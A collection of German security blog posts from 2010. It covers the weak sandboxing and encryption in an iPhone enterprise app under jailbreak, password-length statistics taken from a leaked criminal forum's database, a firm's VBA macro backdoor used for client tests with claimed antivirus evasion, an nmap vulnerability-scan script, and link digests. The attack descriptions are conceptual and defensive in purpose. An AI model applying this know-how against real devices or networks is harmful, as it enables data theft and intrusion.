Kaum ein Gerät hat in den letzten beiden Jahren für soviel Furore gesorgt wie das iPhone. Während andere Hersteller händeringend um die Aufmerksamkeit der Konsumenten buhlen, kann sich der Softwaregigant aus Cupertino entspannt zurücklehnen und verfolgen, wie sämtliche Mainstream Medien die Ankündigung des neuen iPhone 4 verkünden. Apple hat mit dem iPhone ein Produkt geschaffen, dass es innert kürzester Zeit geschafft hat, ein integraler Bestandteil der heutigen Informationskultur zu werden. Unter diesen Vorraussetzungen wundert es wenig, dass nach dem Consumer Markt auch zahlreiche Mitarbeiter in Unternehmen bald nach iPhones riefen. Warum soll man sich auch mit, im Vergleich, träge wirkenden Windows Mobile und Symbian Geräten herumschlagen, wenn man das momentan populärste und angeblich „beste“ Gerät als Alternative betrachtet.

Der Ruf nach dem iPhone endet in den meisten Unternehmen beim Security Officer. Dieser teilt zwar meistens Begeisterung für die schicken Geräte – allerdings nur solange sie sich nicht in seinem Netzwerk befinden. Aus Compliance Sicht ist das iPhone ein harter Brocken: Keine Hardwareverschlüsselung, die FIPS 140-2 erfüllt. Kein solides Policy Enforcement, wie es zum Beispiel Branchenprimus RIM mit Blackberry vormacht. Kein allgemeines Device Management, wie man es allgemein für Corporate Geräte kennen und erfordern würde. Neben diesen rudimentären und wichtigen Dingen verlangen viele Unternehmen noch diverses Zubehör – AV Software ist nur ein Beispiel unter vielen, das auf der nur begrenzt offenen iPhone Plattform bis dato nicht zu finden ist.

Die Anstrengungen von Hersteller Apple selber, das iPhone als Business-Gerät stärker zu etablieren sind relativ limitiert. Das iPhone Configuration Tool zur Erstellung von Gerätepolicies im XML Format, die per E-Mail oder Web auf Geräte geladen werden können, zeigt grundsätzliches Interesse an der Materie. Aber auch, dass man anscheinend auch ohne weitere Bemühungen gutes Geld verdienen kann.

Apples momentaner Verzicht auf die aktive Bewirtschaftung dieses Geschäftsbereiches stellt natürlich eine offene Einladung für Drittanbieter dar, die hier ihre Chance auf ein Stück des iPhone Kuchens sehen. Entsprechend viele Hersteller drängen derzeit auf den Markt und versuchen mit Hilfe von Workarounds zu erreichen, was Apple bislang versäumte: Das iPhone als Geschäftsgerät zu ermöglichen.

Ein Beispiel für ein derartiges Produkt ist Mobile Office for iPhone des Herstellers Sybase iAnywhere, einer Tochter der traditionsreichen Firma Sybase, die in erster Linie durch relationale Datenbanksysteme in den 80ern bekannt wurde. Mobile Office, das auch für andere Plattformen verfügbar ist, erlaubt es, zentral gelagerte Daten wie Kontakte, Termine und Aufgaben mit dem Endgerät zu synchronisieren. Es erlaubt des weiteren die Verwendung von Push E-Mail.

Während serverseitig verschiedene Softwarekomponenten eingesetzt werden müssen, kommt bei Anwendung von Mobile Office auf dem Endgerät nur eine reguläre iPhone App zum Einsatz. Diese kann durch den Benutzer, wie jede andere App, aus Apples AppStore bezogen werden. Startet der Benutzer die Applikation, so erhält er innerhalb dieser Applikation, zur Laufzeit, Zugriff auf die oben genannten Daten.

In einem Produkt Whitepaper erklärt der Hersteller den Ansatz: Durch das Sandboxing der Applikation soll es möglich sein, ein privates Gerät geschäftlich zu nutzen, zumal eine Trennung der Daten von iAnywhere und der nativen iPhone Daten stattfindet. Der Benutzer kann seine privaten Daten und Anwendungen also weiterhin nutzen, ohne dabei auf geschäftliche Integration verzichten zu müssen. Weiterhin gibt iAnywhere an, bei der kryptografischen Speicherung seiner Daten die Anforderungen von FIPS 140-2 durch den Einsatz von 128-bit AES-CFB zu erfüllen. Was im ersten Moment logisch und einleuchtend klingt, offenbart bei genauer Betrachtung aber verschiedene Schwachpunkte.

Der erste Punkt, der von essentieller Wichtigkeit ist, betrifft das sogenannte Sandboxing. Sandboxing ist eine durchaus sinnvolle Herangehensweise zum Erreichen gewisser sicherheitsrelevanter Ziele. Konkret heisst Sandboxing, dass man einer Applikation oder einem Prozess eine klar abgegrenzte und isolierte Umgebung zur Verfügung stellt, in der Ressourcen (CPU, Festplattenplatz, Speicherbereiche) und Schnittstellen (Netzwerk, HID) stark restriktiv gehandhabt oder gar vollständig abgeschirmt werden.

Apple setzt auf dieses Konzept, um Applikationen voneinander abzuschirmen. Eine Applikation soll keinerlei Zugriff auf die Daten einer Applikation erhalten. Zugriff auf das Kernsystem, also auf das Betriebssystem, wird nur über entsprechend vorgesehene Klassen erlaubt. Im Fall von Mobile Office heisst das: Eine andere Applikation erhält keinen Zugriff auf die Daten von iAnywhere, genau so wenig wie iAnywhere Zugriff auf die Daten anderer Applikationen erhält. Jede Applikation im AppStore muss diese Richtlinien beachten und einhalten, auch iAnywhere. Die Entscheidung, das „Feature“ Sandboxing zu verwenden ist daher wahrscheinlich eher als grundlegende Restriktion denn als bahnbrechende Designentscheidung zu betrachten.

Ein grundlegendes Problem des Sandboxing ist, dass eine massive Diskrepanz dazwischen existiert, was eine Applikation tun kann und was sie tun soll. Eine Applikation kann zum Beispiel auf grosse Teile des Dateisystems frei zugreifen. Es existieren keine technischen Massnahmen, um sie davon abzuhalten. Aber: Apple schreibt in seinen Development Guidelines ganz klar vor, dass eine Applikation das nicht tun darf. Ein harmloses Beispiel: Es wäre problemlos möglichen, auf Fileebene auf Kontaktdaten zuzugreifen. Apple würde eine Applikation, die das tut aber niemals für den AppStore freigeben. Dem Entwickler wird nahegelegt, die freigegebenen APIs – und nur diese – zu benutzen, um dieses Ziel zu erreichen. Dasselbe gilt für zig andere Beispiele, bei denen auf Systemressourcen oder -schnittstellen zugegriffen werden soll.

Wir rekapitulieren: Es existiert eine Sandbox, die klar reglementiert, was eine Applikation darf und was nicht und Apple sorgt durch seinen Approval Prozess mit einer Mischung aus technischen und administrativen Massnahmen dafür, dass dieses Konzept auch gewürdigt wird. Eine Applikation, die eine andere Applikation manipuliert oder deren Daten ausliest, würde niemals ihren Weg in den AppStore finden.

Was passiert nun aber, wenn ein Gerät in der Lage ist, unsignierten Code auszuführen, der nicht aus dem AppStore stammt? Richtig, der Approval Prozess fällt weg und die verbleibende Sicherheit des Gerätes steht und fällt mit der rein technischen Implementation der Sandboxing Mechanismen.

Am 10. Juli 2007 wurde der erste Jailbreak für die erste Generation des iPhones veröffentlicht, der Beginn eines Katz und Maus Spiel zwischen Hersteller und Entwicklern, die sich nicht genötigt sahen, sich von Apples restriktiver Entwicklungsrichtlinie davon abhalten zu lassen, beliebigen Code auf dem iPhone laufen zu lassen. Bis zum heutigen Tag hat sich die Technik zum Umsetzen eines Jailbreaks massiv verbessert: Version 3.2 des iPhones konnte mittels blackra1n oder verschiedener Alternativtools innerhalb von Sekunden und ohne jedes technische Know-how gebrochen werden. Im Anschluss an den einfachen Prozess kann des iPhone jeden beliebigen Code ausführen. Es existieren diverse Software Manager, die dem Benutzer die Installation von 3rd Party Software, von SSH Servern bis zu Videorecordern, ermöglichen.

Durch einen Jailbreak kann eine beliebige Applikation Zugriff auf das komplette Dateisystem erhalten. Dies umfasst auch die Daten, die Mobile Office auf dem Gerät ablegt. Dies führt uns zur ersten Konklusion: Das Sandboxing funktioniert nur, solange das Gerät keinen unsignierten Code ausführen kann, der noch dazu auf Systemebene, also sozusagen hierarchisch „über“ der Mobile Office Applikation läuft. Hier gilt ein klassisches Konzept der Systemsicherheit: Eine Softwarekomponenten kann maximal die Sicherheit erreichen, die eine ihr übergeordnete Komponenten erreicht. Wird die Betriebssystemebene kompromittiert, so muss auch die Applikationsebene als gefallen betrachtet werden.

Man muss Mobile Office natürlich an dieser Stelle zu Gute halten, dass die synchronisierten Daten nicht im Klartext auf dem Gerät speichert. Wie etwas früher in diesem Artikel erwähnt, werden Daten verschlüsselt abgelegt. Konkret handelt es sich im Falle von Mobile Office um eine SQLite Datenbank, die mittels der SQLite Encryption Extension verschlüsselt wird. Zum Einsatz kommt dabei eine 128-bit AES – OFB Verschlüsselung, wobei der Schlüssel durch die iPhone eigene Funktion SecRandomCopyBytes() generiert wird und in der iPhone Keychain abgelegt wird. Gehen wir aber auch hier wieder davon aus, dass ein Angreifer beliebigen, unsignierten Code auf dem Gerät zur Ausführung bringen kann:

Die Keychain ist grundsätzlich zugänglich, wenn der Benutzer sich z.B. mittels SSH Client auf das Gerät verbindet.
Die SQLite Datenbank, in der die Daten gelagert sind, ist auf dem Filesystem ebenfalls zugänglich.
Die SQLite Encryption Extension, die als Implementierung genutzt wird, ist nicht frei verfügbar, kann aber für 2000 USD erworben werden.

Konkret heisst das: Schlüssel, Algorithmus und Daten sind allesamt bekannt. Es bleibt dem Angreifer nur noch überlassen, diese drei Teile in der richtigen Konstellation zusammenarbeiten zu lassen. Ebenfalls werden Daten zur Laufzeit im Klartext in den Speicher geladen, was naheliegenderweise notwendig ist, um sie innerhalb der Applikation verwenden zu können. Auch hier gibt der Hersteller im Whitepaper zu Protokoll, dass die „native Funktionalität des iPhones dazu führt, das alle unverschlüsselten Informationen im Speicher gelöscht werden, wenn die Applikation beendet wird“. Auch hier verlässt man sicher aber lieber auf das rigide, mangels Rechenleistung des Gerätes implementierte, Speicherverwaltung aus dem Haus Apple, als sich selber um den Schutz des Speicherinhaltes zu bemühen, lässt es sich aber nicht nehmen, dies als „Feature“ herauszustreichen. Währenddessen kann eine Applikation, die im Hintergrund läuft (eine Funktionalität, die vor iOS4 offiziell nicht möglich war, auf gejailbreakten Geräten aber durchaus zum gängigen Programm gehört), beliebig auf den Speicherbereich von Mobile Office zugreifen.

Aller Kritik zum Trotz: iAnywhere Mobile Office ist kein grundsätzlich schlechtes Produkt. Es ist durchaus ersichtlich, das man bei der Entwicklung versucht hat, Lösungen für Probleme zu finden, deren Rahmenbedingung einer saubere Löung zum jetzigen Zeitpunkt gar nicht erlauben. Bei allem Respekt für diese Bemühungen, fällt es aber dennoch schwer im Hinblick auf massive Mängel einen Einsatz in einem sensitiven Umfeld, wie zum Beispiel dem eines Finanzinstituts, zu erlauben oder gar zu empfehlen. Die Hauptgründe dafür liegen in der Sicherheit der Applikation selber, die durch halbherziges Sandboxing leider nicht annähernd so gut geschützt ist, wie es im ersten Moment den Anschein macht. Alles weitere ergibt sich dann aus dem Umstand, dass eine Applikation, die nach den Regeln von Apple spielt im direkten Duell gegen eine vollprivilegierte Applikation mit root Rechten leider nun einmal den Kürzeren zieht.

Hoffnung für iPhone-affine Unternehmen existiert jedoch: Mit iOS4 hat Apple eine komplett neue API zum Zwecke von Device Management implementiert, die einige dieser Schwächen vielleicht zu einem gewissen Mass zu kompensieren vermag. Ob und inwiefern es den Herstellern jedoch gelingt, damit mit den Favoriten im Mobile Device Segment mitzuhalten, bleibt abzuwarten.

15.07.2010

Stefan Friedli

► 09.07.2010 – Passwortlänge der Cracker

Mit carders.cc wurde ein bekanntes deutsches Forum bereitgestellt, in dem durch kriminelle Cracker (Faker und Carder) mit gestohlenen Informationen gehandelt wurde (z.B. Kreditkarten- und Kontoinformationen).

Die Seite selbst wurde nun Opfer einer Attacke, bei der eine komplette Kompromittierung des Webservers und der Datenbank durchgesetzt wurde. Dieser Zwischenfall hat international für Aufsehen gesorgt. Der Angriff bzw. die daraus entwendeten Daten wurden als unterschiedliche Dateien auf rapidshare.com einer breiten Öffentlichkeit bereitgestellt. In einem der veröffentlichten Dokumente wird erwähnt, dass ein Fehler in der Webapplikation und fehlerhafte Dateirechte für die Übernahme des Systems verantwortlich waren:

During the ownage they also gave us lulz by showing off their ridiculous configuration skills which had a specific impact on their security. They actually managed to chmod and chown nearly everything to 777 and www-user readable. Including their /root directory.

Mitunter wird ebenfalls ein Auszug der Passwörter der Benutzerdatenbank des öffentlichen Forums bereitgestellt. Darin sind die SHA1-Hashes der Passwörter sowie einige gecrackte Passwörter im Klartext enthalten.

In unserem Blog-Beitrag Geschlechtsspezifische Passwortunsicherheiten haben wir mitunter eine statistische Analyse der Passwortlänge von Männern und Frauen auf der Basis eines nicht benannten Online-Dienstes durchgeführt. Dabei konnten wir einige marginale Unterschiede aufzeigen. Die durchschnittlichen Werte dieser Betrachtung soll nun mit der statistischen Auswertung der Passwortlängen der Cracker verglichen werden. Es ist naturbedingt anzunehmen, dass ein Grossteil der Cracker männlich sind. Ebenso zeigt eine Analyse der Mailadressen, dass die Benutzer wohl zu grossen Teilen aus Deutschland selbst stammen.

Passwortlänge Benutzer/Cracker

Die gezeigte Grafik illustriert, dass hier tatsächlich offensichtliche Abweichungen von Normalanwendern (grün) zu Crackern (rot) zu zu beobachten sind:

Die Verteilung der Passwortlängen zeigt, dass durch Cracker eher längere Passwörter genutzt werden. Im Durchschnitt sind die Passwörter 7.76 Zeichen lang (gegenüber 6.94 Zeichen bei Normalanwendern). Die allgemeine Security Awareness der Cracker ist damit naturbedingt höher, als bei Normalanwendern.
Am meisten werden 8-stellige (32.17%) und am zweitmeisten werden 6-stellige Passwörter (24.35%) verwendet. Diese Distribution entspricht in seiner Form derjenigen der Normalanwender und ist vermutlich auch hier auf die Rhythmik der Eingaben zurückzuführen.
Passwörter mit 5 (2.83%) oder weniger Zeichen sind sehr unpopulär und werden nach Möglichkeiten gemieden. Wohl deshalb, um Bruteforce-Attacken ~~nutzlos~~ sehr aufwendig erscheinen zu lassen. Vielleicht sind sich die technisch versierten Cracker auch eher einer technisch forcierten Minimallänge von 6 Zeichen gewohnt.
10- (6.85%) und 11-stellige Passwörter (2.39%) können durchaus vorkommen. Bei 12-stelligen Passwörtern liegen Normalanwender jedoch wieder vorn (mit 1.84% zu 1.30%), was wohl auf ein fehlendes Verständnis für die Verhältnismässigkeit (Grenznutzen) einer solchen Massnahme zurückzuführen ist.

In eine ähnliche Richtung werden wohl auch die Nutzerdaten von thepiratebay.org, welche diese Tage dank einer SQL-Injection kompromittiert wurden, ausfallen. Eine Querprüfung derer werden wir, sofernn sie denn öffentlich zugänglich werden, anstreben.

Marc Ruef

► 01.07.2010 – Native Word Makro Backdoor Image Autosize Probleme

Das Durchführen von Backdoor Tests zur mehrschichtigen Prüfung von Umgebungen ist mehr dennje beliebt bei unseren Kunden. So können sie an einem konkreten Beispiel sehen, wie ein hochgradig professioneller Angreifer eine Attacke vorbereitet, diese durchführt, wie sie sich im Unternehmensnetzwerk verhält und durch die jeweiligen Stellen (Mitarbeiter, Administratoren und Incident Response Team) wahrgenommen wird.

Als Erweiterung zum klassischen Angriff mittels korrupter EXE-Datei, diese werden mittlerweile von den meisten Webproxies und Mail-Gateways gefiltert, bieten wir einen Test mit einem nativen Word Makro Backdoor an: Der gesamte korrupte Programmcode, der zur Fernsteuerung eines Systems genutzt wird, ist als VBA (Visual Basic for Applications) in einem harmlosen Word-Dokument (wahlweise auch in Excel, Access oder Powerpoint umsetzbar) abgelegt.

Variante	Trägerformat	Programmiersprache	Komplexität	Zuverlässigkeit
Win32	Win32 EXE	VB6 / .NET / C++	gering	mittel/hoch
VBA Dropper	MS Office	VBA + VB6 / .NET / C++	hoch	gering/mittel
VBA Native	MS Office	VBA	gering/mittel	mittel
Ajax Web Backdor	HTML + Javascript	Javascript + PHP / ASP	mittel	hoch
Windows Mobile	CAB ⇒ EXE	.NET	mittel	mittel

Der Effekt ist für den Kunden umso grösser, desto mehr man ihn am Vorgehen des Angreifers beteiligt. So verzichten wir in der Regel darauf, umfangreiche Stealth-Angriffe, bei denen die Aktivitäten nur mit erheblichem Aufwand erkannt werden können, durchzuführen. Stattdessen zeigen unsere Backdoors ihre Aktivitäten in einem dediziert aktivierbaren Verbose-Mode an (siehe Screenshot).

Unsere Backdoor in Aktion

Die Word VBA Backdoor lädt sodann ein Frame, in dem die Infektion, Datensammlung und Kommunikation mit dem Angreifer illustriert wird. Dabei sind wir über ein sonderbares Problem gestolpert. Und zwar stürzt die Komponente fm20.dll bei Office 2000 mit einer Speicherschutzverletzung während des Ladens eines Images ab, wenn dessen Eigenschaft Autosize auf True gesetzt wurde.

Speicherschutzverletzung in fm20.dll

Es verblüfft in diesem Zusammenhang ungemein, dass mehr oder weniger problemlos mit virtuosen API-Calls und zeitkritischen Funktionen gearbeitet werden kann, während ein Autosize auf ein Image zu einem Problem mit solcher Tragweite führt. Zum Glück haben wir diese Einschränkung beim umfangreichen Unit-Test frühzeitig bemerkt und entsprechende Massnahmen ergreifen können. Es gibt schliesslich nichts Schlimmeres, weder wenn korrupter Programmcode in einem Realworld-Test mit einer aufdringlichen Fehlermeldung abstürzt.

In unserem Kundenumfeld ist in den letzten 2 Jahren der Trend zu beobachten, erweiterte Makros in Office-Dokumenten wieder zuzulassen. Die Sicherheitseinstellungen in den Applikationen werden oftmals auf Mittel oder gar Gering gesetzt und die Sicherheit einzig und allein auf Antiviren-Mechanismen abgestützt. Wir raten vollumfänglich von diesem Ansatz ab, da er die Risiken von durchdachter Malware auf der Basis von Makros nicht vertretbar adressieren kann (dies betrifft ebenfalls LotusScript). Durch verschiedene Evasion-Techniken, die wir erfolgreich weiterentwickelt und eingesetzt haben, lassen sich ein Grossteil der etablierten Technologien und Ansätze umgehen.

Marc Ruef

► 25.06.2010 – Blog Digest Juni 2010

1 in 10 IT pros cheat on an IT audit (08.06.2010), Help Net Security News
Anatomy of a Symbian Malware (22.06.2010), Donato Ferrante, sophos.com
anti-waf-software-security-only-zealotry (17.06.2010), Jeremiah Grossman, google.com
Are Comparative Tests of AV Products Useful? (16.06.2010), Igor Muttik, google.com
A Zero-day Connection (15.06.2010), Security Intel Analysis Team, symantec.com
Cyberwar is fiction (08.06.2010), Robert Graham, Errata Security, erratasec.blogspot.com
Delete Data On SSD Permanently (20.06.2010), Martin, ghacks.net
Don’t click on ‘Paramore n-a-k-ed photo leaked!’ Facebook link (02.06.2010), Graham Cluley, Sophos, sophos.com
Full Disclosure for Attacker Tools (21.06.2010), Richard Bejtlich, taosecurity.blogspot.com
Google top 1000 sites: Interesting stats about them (03.06.2010), Sucuri Security, sucuri.net
Hiring Hackers (10.06.2010), schneier, schneier.com
Invasion of Privacy. The Sequel. (27.05.2010), Matt, Attack Vector, attackvector.org
Mass infection of IIS/ASP sites (08.06.2010), google.com
Meterpreter for Pwned Home Pages (14.06.2010), egypt, google.com
Microsoft Releases Anti-XSS Web Protection Library (02.06.2010), Ryan Naraine, threatpost, threatpost.com
Penetration Testing Summit 2010 (17.06.2010), Paul Asadoorian, blog.tenablesecurity.com
Security Concerns Less Considered (28.05.2010), Shannon Cole, McAfee Avert Labs
Social sites, profile pictures and privacy. (09.06.2010), Matt, attackvector.org
Test Toot Suite: Antivirus Vendors Blowing Own Horn (28.05.2010), David Harley, ESET ThreatBlog, eset.com
The Mission of Security Awareness (18.06.2010), dre, google.com
The True Story Behind the Cisco Identification Port (21.06.2010), blogs.cisco.com
Those Scrambled Word Tests For Stopping Spambots Are Tough For Humans Too (18.06.2010), Andy Greenberg, blogs.forbes.com
Trying to Rely on the Right Platform Provides the Wrong Protection (02.06.2010), Zulfikar Ramzan, Symantec Connect, symantec.com
URL Sentences (02.06.2010), Chris Shiflett, shiflett.org
Website Vulnerability Research and Disclosure (14.06.2010), Chris Wysopal, veracode.com
What a difference a year makes – SMBs are cracking down on information protection (21.06.2010), Gina Sheibley, symantec.com
Whatever Happened to Voice Recognition? (21.06.2010), codinghorror.com
Which Vulnerabilty to exploit first? (03.06.2010), cdupuis, The Professional Security Testers Warehouse, professionalsecuritytesters.org
Who’s your Verisign? Malware faking digital signatures (23.06.2010), Mike Wood, Threat Researcher, SophosLabs, Canada, sophos.com
Why publishing exploit code is generally a bad idea if you’re paid to protect (22.06.2010), Robert A., google.com
Windows Mobile dialup fraud (06.06.2010), David Harley, ESET ThreatBlog, eset.com
Wordpress user: Be careful where you get your theme from (01.06.2010), Sucuri Security, sucuri.net
World’s Smallest PDF (21.06.2010), FE Malware Researcher, google.com

Marc Ruef

► 18.06.2010 – Präsentation zur Sicherheit von Cloud Computing

Am ISMS Praxis Forum in Olten hat Marc Ruef einen Vortrag zur Sicherheit von Cloud Computing gehalten. Dieser basiert auf dem Labs-Beitrag mit dem gleichnamigen Titel: 10 sicherheitsrelevante Gründe gegen Cloud Computing. Die Präsentations-Folien werden hier (pdf, 0.9 mb) zum Download bereitgestellt.

Vortrag zum Thema Cloud Computing

Nach einer Einführung in die Begrifflichkeiten des Cloud Computing werden drei Implementierungen sowie die zugrundeliegenden Mechanismen vorgestellt. Damit wird die Basis geschaffen, um auf die 10 sicherheitskritischen Überlegungen bei einer entsprechenden Installation und Nutzung einzugehen. Damit wird aufgezeigt, dass zwar Cloud Computing – sowie die damit verbundenen Mechanismen von Outsourcing und Virtualisierung – bei einer wohlüberlegten Nutzung durchaus ihre Vorteile haben können. Dass mit dem begehen dieses Wegs aber ebenso Schwierigkeiten und Schwachstellen miteingeführt werden.

Marc Ruef

► 11.06.2010 – Facebook Like Tracking verhindern

Wie jedes erfolgreiche Unternehmen versucht auch Facebook ihren Erfolg zu vergrössern, wobei sie zunehmends ihre Pflichten und die Rechte ihrer Benutzer ~~offensichtlich~~ vernachlässigen. So bietet Facebook seit einiger Zeit die Möglichkeit an, dass Webmaster auf ihren Seiten einen Like-Button einfügen können. Durch das Klicken auf diesen können Facebook-Benutzer einfach und unkompliziert eine Webseite ihren Freunden weiterempfehlen.

Wie sich früh herausgestellt hat, hat Facebook einen denkbar unfreundlichen technologischen Ansatz gewählt, um diese Funktionalität zu implementieren. So muss der Button über ein iFrame auf der Seite eingebunden werden. Dies führt dazu, dass jeder Seitenzugriff ebenso durch Facebook protokolliert und ausgewertet werden kann. Dadurch lässt sich ein umfassendes Data Mining, wie es Google mit ihren Google Ads ebenfalls vorgeworfen wird (diese basieren auf einer eingebundenen Javascript-Datei), umsetzen.

Wer auf die Möglichkeit des Like-Buttons verzichten will, der kann einen URL-Filter verwenden, um auf das Nachladen des unliebsamen iFrame verzichten zu können. Diese Filter kann beispielsweise bei Adblock für Firefox verwendet werden, um die eigene Privatsphäre zu schützen:

http://www.facebook.com/plugins/like.php?href=*

Wäre Facebook um die Privatsphäre der Benutzer bemüht, hätten sie eine gänzlich losgelöste Technologie verwendet. Wäre es lediglich um die Möglichkeit des Buttons zur Mitteilung gegangen, hätte eine lokale Kopie des Bilds sowie ein Link auf die Facebook-Seite gereicht. Diese Möglichkeit bietet zum Beispiel der Microbezahldienst Flattr (zu Beginn ebenfalls in der Kritik).

Wäre zudem die Angabe der bisherigen Empfehlungen der Seite erforderlich gewesen, hätte diese Information vom empfehlenden Webserver abgerufen, zwischengespeichert und dargestellt werden können. Durch diese Entkoppelung hätte Facebook gar nie einen direkten Zugriff durch die Benutzer erfahren müssen.

Es ist wahrscheinlich nur eine Frage der Zeit, bis sich jemand die Mühe macht, einen Proxy dieser Art zu schreiben. Ein simples PHP-Skript ist eigentlich schnell umgesetzt und gerade populäre Content Management Systeme (CMS), wie zum Beispiel WordPress, werden wohl bald mit entsprechenden Plugins aufwarten können – Sofern denn das Risiko der schwindenden Privatsphäre auch wirklich als solches verstanden wird.

Doch vorerst plagt Facebook ein anderes Problem. Durch Clickjacking – in diesem Zusammenhang auch Likejacking genannt – werden bösartige Seiten weiterempfohlen und damit die Verbreitung von Malware vorangetrieben. Diese Technik, sie wurde ursprünglich durch Jeremiah Grossman und Robert “RSnake” Hansen populär gemacht, hat sich in den letzten Wochen stetig verbessert. Facebook kommt wohl also ohnehin nicht darum, das besagte Feature zu überdenken.

Marc Ruef

► 03.06.2010 – Nmap NSE Vulscan Script

Das quelloffene Netzwerkutility nmap kann dank der Nmap Scripting Engine um eigene Mechanismen erweitert werden. Wir haben vor einigen Wochen eine 7-teilige Serie mit dem Titel Nmap NSE Hacking, sie führt in das Thema von NSE-Skripting auf der Basis von Lua ein, veröffentlicht. Im Zuge dieser Publikation haben wir ebenfalls eine NSE-Portierung von httprecon, einem Tool zur Umsetzung von HTTP-Fingerprinting, umgesetzt.

Da wir einen Grossteil unserer netzwerkbasierten Sicherheitsüberprüfungen mit der Hilfe von nmap durchführen, schreiben wir stetig neue NSE-Skripte. Eine der grössten Entwicklungen in diesem Bereich ist das nmap NSE Vulscan script. Dieses erweitert nmap, das ursprünglich als Portscanner konzipiert wurde, um die Funktionalität eines Vulnerability Scanners. Damit können im weitesten Sinn die Möglichkeiten geboten werden, wie sie zum Beispiel mit Lösungen wie Nessus oder Qualys genutzt werden können – Nämlich das Erkennen von potentiellen Schwachstellen.

Das nmap NSE Vulscan Script steht hier zum Download zur Verfügung.

Wir hatten verschiedene Ziele vor Augen, als wir das Vulscan-Skript entwickelt haben. Als erstes ging es darum direkten Nutzen aus Version Detection, eine sehr effiziente Implementierung des Application Fingerprinting durch nmap, zu ziehen. So versucht nmap auf der Basis eines Reiz/Reaktion-Schemas das angebotene Anwendungsprotokoll sowie im gleichen Zug die eingesetzte Server-Software (Hersteller, Produkt, Name, Version und zusätzliche Informationen) zu ermitteln. Diese Daten werden genutzt, um daraus die potentiell vorhandenen Schwachstellen in der gegenwärtigen Installation auszumachen.

Das nmap nse vulscan Skript erkennt qmail

Zu diesem Zweck werden die durch nmap zur Verfügung gestellten Grunddaten weiterverwendet und mit osvdb.org verglichen. Hierbei handelt es sich um eine quelloffene Verwundbarkeitsdatenbank – ähnlich wie unsere VulDB. Dabei unterstützt die gegebene Implementierung zwei unterschiedliche Lookup-Prozeduren:

Title Search: Die OSVDB ist darum bemüht, im Titel einer Schwachstelle in stetig gleicher Weise das betroffene Produkt zu nennen. Die Volltextsuche macht sich diese Eigenschaft zu nutze und kann deshalb sehr schnell die möglichen Schwachstellen finden.
Correlations Lookup: In der OSVDB werden ebenfalls Hersteller/Produkte/Versionen geführt, die ihrerseits mit den jeweiligen Schwachstellen verknüpft werden. Durch das Erkennen dieser verlinkten Einträge wird es möglich, sehr exakt die jeweiligen Schwachstellen zu bestimmen.

Standardmässig wird die Title Search umgesetzt. Sie ist sehr effizient, da sie lediglich ein Textfeld der Tabelle vulnerabilities durchsuchen muss. Jedoch kann dieser Modus verhältnismässig viele False-Positives generieren. Durch eine spezielle Fuzzy Search wird versucht die besten Treffer zu bestimmen. Da OSVDB und nmap jedoch nicht immer die gleichen Produktenamen verwenden, kann es hierbei zu Unstimmigkeiten kommen. Eine Vielzahl von fehlerhaften Treffern wird beispielsweise bei einem Apache-Webserver generiert.

Bessere Zuverlässigkeit und damit weniger False-Positives bietet der Correlations Lookup. Dieser Modus wird aktiviert, wenn beim Aufruf von nmap der Parameter --script-args vulscancorrelation=1 verwendet wird. Sodann wird in einem ersten Schritt in der Tabelle products das Produkt bestimmt, um danach über die jeweiligen Zwischentabellen die verknüpften Verwundbarkeiten in der Tabelle vulnerabilities auszumachen. Dieser Prozess ist sehr aufwändig, da die Verknüpfungen berücksichtigt und deshalb verschiedene Tabellen durchsucht werden müssen. Da die Betreuer der OSVDB jedoch nicht alle Schwachstellen mit den jeweils verwundbaren Produkten verknüpft haben, neigt dieser Modus zu False-Negatives.

Wir arbeiten an verschiedenen Massnahmen, die aufgezeigten Schwächen der bereitgestellten Methoden zu eliminieren. Das Vulscan-Skript hilft jedoch sehr gut dabei, potentielle Schwachstellen in bekannten Produkten ausmachen zu können. Damit wird eine einfache und effiziente Grundlage geschaffen, um ein breitflächiges Vulnerability Assessment voranzutreiben und damit einen zielgerichteten Penetration Test angehen zu lassen.

Update 09.06.2010: Nach der Veröffentlichung des Skripts wurde durch Fyodor, der Lead Architect von nmap, die Diskussion angestossen, die erweiterte Funktionalität in den Kern des Projekts zu übernehmen:

Anyway, thanks for starting this exciting project and I hope Nmap proper will have this functionality someday.

Marc Ruef

► 28.05.2010 – Blog Digest Mai 2010

A bit of a reality check (18.05.2010), Beth Jones, SophosLabs US, sophos.com
A Brief Look at Zeus/Zbot 2.0 (03.05.2010), Karthik Selvaraj, symantec.com
A New Type of Phishing Attack (25.05.2010), Aza Raskin, http://www.azarask.in
A Rise in Java Vulnerabilities (30.04.2010), Greg Ahmad, symantec.com
A Virus Is Coming! Tell All Your Friends! (04.05.2010), John McDonald, symantec.com
Are low standards better than no standards? (21.05.2010), netsecpodcast@mckeay.net (Martin McKeay), google.com
AV Testing double standards and independence (03.05.2010), noreply@blogger.com (Rick Moy), google.com
Analyzing Malwares Using Microsoft Tools (29.04.2010), Matt Oh, community.websense.com
Defeating expensive lockdowns with cheap shellscripts (18.05.2010), Ron Bowes, skullsecurity.org
Encryption Can’t Stop The Wiretapping Boom (30.04.2010), Andy Greenberg, blogs.forbes.com
Exploiting hard filtered SQL Injections 2 (conditional errors) (07.05.2010), Reiners, websec.wordpress.com
Facebook’s ‘Evil Interfaces’ (29.04.2010), tim, eff.org
General Alexander’s Confirmation And The Failure Of Cyberwar Transparency (13.05.2010), Sean Lawson, blogs.forbes.com
Has Apple Gotten Religion on Software Security? (27.04.2010), Dennis Fisher, threatpost.com
HTML5 Security in a Nutshell (17.05.2010), Chris Eng, veracode.com
Invasion of Privacy. The Sequel. (24.05.2010), Matt, http://www.attackvector.org
KHOBE – 8.0 earthquake for Windows desktop security software (05.05.2010), matousec.com
Leaking private IP addresses via DNS (03.05.2010), http://sucuri.net, google.com
More ‘the air is full of packets’ (13.05.2010), Robert Graham, erratasec.blogspot.com
New Study Shows Nearly No Difference in Security of Web Frameworks (05.05.2010), Dennis Fisher, threatpost.com
On Formally Verified Microkernels (and on attacking them) (03.05.2010), noreply@blogger.com (joanna), theinvisiblethings.blogspot.com
Replacing Happiness with Pride (Rugged) (07.05.2010), Jeremiah Grossman, google.com
Spam Filter Bypass attempts (19.05.2010), Avira GmbH, techblog.avira.com
Strong Passwords for Dummies? (10.05.2010), Xavier, blog.rootshell.be
Survey Shows Most Flaws Sold For $5,000 Or Less (20.05.2010), Dennis Fisher, threatpost.com
Technical details of the Street View WiFi payload controversy (19.05.2010), Robert Graham, erratasec.blogspot.com
Ten years of innovation in reverse engineering (17.05.2010), Sebastian Porst, blog.zynamics.com
The Sality Botnet (14.05.2010), Nicolas Falliere, symantec.com
Worst-Case Thinking (13.05.2010), schneier, schneier.com
